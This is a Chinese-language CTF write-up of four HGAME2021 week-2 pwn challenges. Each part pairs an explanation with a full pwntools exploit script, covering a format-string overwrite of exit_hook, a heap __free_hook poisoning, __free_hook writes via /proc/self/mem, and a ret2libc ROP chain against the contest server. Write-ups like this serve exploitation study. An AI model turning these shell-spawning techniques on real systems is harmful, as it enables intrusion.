HGAME2021 week2 pwn writeup
阅读原文时间:2022年02月24日阅读:1

  week2一共有4道pwn题

  有格式化字符串漏洞,题不算难,但是故事情节真实让人摸不着头脑,但是仔细分析分析,理清楚逻辑就可以做了。

  第一次choose1的时候,可以输入0,泄露weather,第二次choose1的时候,就可以让v1==0xFFFFFFFE,进入if分支给s输入值。这里的s的栈地址和存在格式化字符串的栈地址是共享的,并且没有偏移。

  这样就有两次机会使用格式化字符串,第一次先泄露libc地址,第二次用格式化字符串进行写操作。刚开始我是打exit_hook来拿shell。后来又用了一种方法,第一次泄露libc地址的时候同时泄露一个栈地址,然后再改写返回地址的位置为one_gadgets,这样也可以做。

1 #!/usr/bin/python
2 # -*- coding: UTF-8 -*-
3 from pwn import *
4
5 p = process('./pwn')
6 elf = ELF('./pwn')
7 libc = ELF('./libc.so.6')
8 context(os='linux',arch='amd64',log_level='debug')
9
10 def duan():
11 gdb.attach(p)
12 pause()
13
14 p.sendlineafter('电话\n','0')
15 choose = 4294967294-int(p.recvuntil(':')[:-1])
16 p.sendafter('什么\n','bhxdn')
17 p.send('a')
18 p.sendlineafter('电话\n',str(choose))
19 payload = 'aaaaaaaa%47$p'
20 p.sendafter('电话号码是——\n',payload)
21
22 p.recvuntil('aaaaaaaa')
23 libc_base = int(p.recv(14),16)-231-libc.symbols['__libc_start_main']
24 print hex(libc_base)
25 exit_hook = libc_base+0x619060+3840
26 og = [0x4f365,0x4f3c2,0xe58b8,0xe58bf,0xe58c3,0x10a45c,0x10a468]
27 shell = libc_base+og[6]
28 payload = fmtstr_payload(6,{exit_hook:shell},write_size='short')
29
30 p.sendafter('什么\n',payload)
31 p.sendafter('什么\n','bhxdn')
32 p.interactive()

  ubuntu18.04下的题,很简单,泄露libc后直接打__free_hook就能出。

1 from pwn import *
2
3 p = process('./pwn')
4 elf = ELF('./pwn')
5 libc = ELF('./libc.so.6')
6 context.log_level = 'debug'
7
8 def duan():
9 gdb.attach(p)
10 pause()
11 def add(size):
12 p.sendlineafter('exit\n','1')
13 p.sendlineafter('write?\n',str(size))
14 def edit(index,content):
15 p.sendlineafter('exit\n','3')
16 p.sendlineafter('edit?\n',str(index))
17 p.send(content)
18 def show(index):
19 p.sendlineafter('exit\n','4')
20 p.sendlineafter('show?\n',str(index))
21 def delete(index):
22 p.sendlineafter('exit\n','2')
23 p.sendlineafter('delete?\n',str(index))
24
25 og = [0x4f365,0x4f3c2,0xe58b8,0xe58bf,0xe58c3,0x10a45c,0x10a468]
26
27 add(0x410)
28 add(0x20)
29 delete(0)
30 show(0)
31 libc_base = u64(p.recvuntil('\x7f').ljust(8,'\x00'))-libc.symbols['__malloc_hook']-96-0x10
32 print 'libc_base-->'+hex(libc_base)
33 free_hook = libc_base+libc.symbols['__free_hook']
34 shell = libc_base+og[1]
35 delete(1)
36 edit(1,p64(free_hook))
37 add(0x20)
38 add(0x20)
39 edit(3,p64(shell))
40 delete(1)
41 p.interactive()

  在给了hint之后,才知道是考proc文件系统,在百度了一番之后鼓捣了出来,感觉又学到新知识了。

前置知识

/proc目录

  Linux系统内核提供了一种通过/proc文件系统,在程序运行时访问内核数据,改变内核设置的机制。/proc是一种伪文件结构,也就是说是仅存在于内存中,不存在于外存中的。/proc中一般比较重要的目录是sys,net和scsi,sys目录是可写的,可以通过它来访问和修改内核的参数。

  /proc中还有一些以PID命名(进程号)的进程目录,可以读取对应进程的信息。另外还有一个/self目录,用于记录本进程的信息。

/proc/self目录

  由上面的可知,我们可以通过/proc/$PID/目录来获得该进程的信息,但是这个方法需要知道进程的PID是多少,在fork、daemon等情况下,PID可能还会发生变化。所以Linux提供了self目录,来解决这个问题,这个目录比较独特,不同的进程来访问获得的信息是不同的,内容等价于/proc/本进程PID/目录下的内容。所以可以通过self目录直接获得自身的信息,不需要知道PID。

/proc/self/maps

  这个文件用于记录当前进程的内存映射关系,类似于gdb下的vmmap指令,通过读取该文件可以获得内存代码段基地址。

/proc/self/mem

  该文件记录的是进程的内存信息,通过修改该文件相当于直接修改进程的内存。这个文件是可读可写的,但是并不能直接进行读,需要结合maps的映射信息来确定读的偏移值,无法读取未被映射的区域,只有读取的偏移值是被映射的区域才能正确读取出内容。

  也可以通过写入mem文件来直接写入内存,例如直接修改代码段写入shellcode、修改free_hook为one_gadgets等来拿shell。

利用思路

  0day1可以用来读取文件,可以用这个来读取/proc/self/maps来获得libc基地址。

  程序存在整数溢出,可以利用这个来修改钱,就可以使用0day2了,用0day2来写__free_hook为one_gadgets就可以拿到shell了。因为0day2最后会调用free函数。

  同时,还有一种比较稳定方法是修改__free_hook-8的位置为"/bin/sh",修改__free_hook为system,这样执行free的时候,会执行system,此时的rdi正好指向binsh字符串,可以稳定的拿到shell。

1 from pwn import *
2
3 p = process('./pwn')
4 libc = ELF('./libc.so.6')
5 context.log_level = 'debug'
6
7 def duan():
8 gdb.attach(p)
9 pause()
10
11 p.sendlineafter('>> ','3')
12 p.sendlineafter('>> ','-100')
13 p.sendlineafter('>> ','2')
14 p.sendlineafter('>> ','1')
15 p.sendlineafter('>> ','/proc/self/maps\x00')
16 p.recvuntil('7f')
17 libc_base = '7f'+p.recv(10)
18 libc_base = int(libc_base,16)
19 print 'libc_base-->'+hex(libc_base)
20 print 'puts-->'+hex(libc.symbols['puts'])
21
22 og = [0x4f365,0x4f3c2,0xe58b8,0xe58bf,0xe58c3,0x10a45c,0x10a468]
23 shell = libc_base+og[5]
24
25 p.sendlineafter('>> ','3')
26 p.sendlineafter('>> ','1')
27 p.sendlineafter('>> ','/proc/self/mem\x00')
28 p.sendlineafter('>> ',str(libc_base+libc.symbols['__free_hook']))
29 p.sendlineafter('>> ','8')
30 p.sendafter('>> ',p64(shell))
31 p.interactive()

参考文章:https://www.anquanke.com/post/id/218886#h3-13

  先算两个矩阵相乘,然后就可以rop了,第一次做的时候用system怎么都做不出来,但是用ROPgadget做出来了。后来在system加了一个ret,发现可以打通了,应该是栈对齐的问题。(只知道这么多,具体细节可以参考ex师傅的博客:http://blog.eonew.cn/archives/958)

1 from pwn import *
2 from LibcSearcher import *
3
4 context(os='linux',arch='amd64',log_level='debug')
5 elf=ELF('./pwn')
6 puts_plt_addr=0x401040
7 vuln_addr=0x40157B
8 pop_rdi=0x401613
9 libc_start_main_got_addr =0x403fe8
10 p=remote('159.75.104.107',30372)
11 puts_addr=0x404020
12 putchar_addr=0x404018
13 puts_got = 0x000404020
14
15 ha=0
16 hb=0
17 lista=[]
18 listb=[]
19 p.recvuntil('A:\n')
20 a = p.recvline()
21 la=a.count('\t')
22 while 1:
23 if a == 'B:\n':
24 break
25 else:
26 lista1=[]
27 i = 0
28 while 1:
29 try:
30 lista1.append(a.split("\t")[i])
31 i += 1
32 except:
33 break
34 lista.append(lista1[:-1])
35 ha+=1
36 a = p.recvline()
37
38 b = p.recvline()
39 lb=b.count('\t')
40 while 1:
41 if b == 'a * b = ?\n':
42 break
43 else:
44 listb1=[]
45 i = 0
46 while 1:
47 try:
48 listb1.append(b.split("\t")[i])
49 i += 1
50 except:
51 break
52 listb.append(listb1[:-1])
53 hb+=1
54 b = p.recvline()
55 for i in range(ha):
56 for j in range(lb):
57 num=0
58 for k in range(la):
59 num+=int(lista[i][k])*int(listb[k][j])
60 p.sendline(str(num))
61
62 p.recvuntil('try your best\n')
63 payload=0x30*'A'+8*'A'+p64(pop_rdi)+p64(puts_got)+p64(puts_plt_addr)+p64(vuln_addr)
64 print(payload)
65 p.sendline(payload)
66 libc_start_main_addr = u64(p.recv(6).ljust(8,'\x00'))
67 libc = LibcSearcher("puts", libc_start_main_addr)
68 print "__libc_start_main_addr: " + hex(libc_start_main_addr)
69 libcbase = libc_start_main_addr - libc.dump("puts")
70 print(hex(libcbase))
71 system_addr = libcbase + libc.dump("system")
72 binsh_addr = libcbase + libc.dump("str_bin_sh")
73 print "system_addr: " + hex(system_addr)
74 print "binsh_addr: " + hex(binsh_addr)
75 p.recvuntil('try your best\n')
76
77 ret = 0x00401260
78 p.sendline('A'*0x38+p64(pop_rdi)+p64(binsh_addr)+p64(ret)+p64(system_addr))
79 #og = [0xe6c7e,0xe6c81,0xe6c84]
80 #shell = libcbase+og[0]
81 #pop_r12_r13_r14_r15 = 0x000040160c
82 #p.sendline('A'*0x38+p64(pop_r12_r13_r14_r15)+p64(0)*0x4+p64(shell))
83 p.interactive()

  题目还行,感觉the_shop_of_cosmos那道题出的挺好的,学到东西了。第二周over!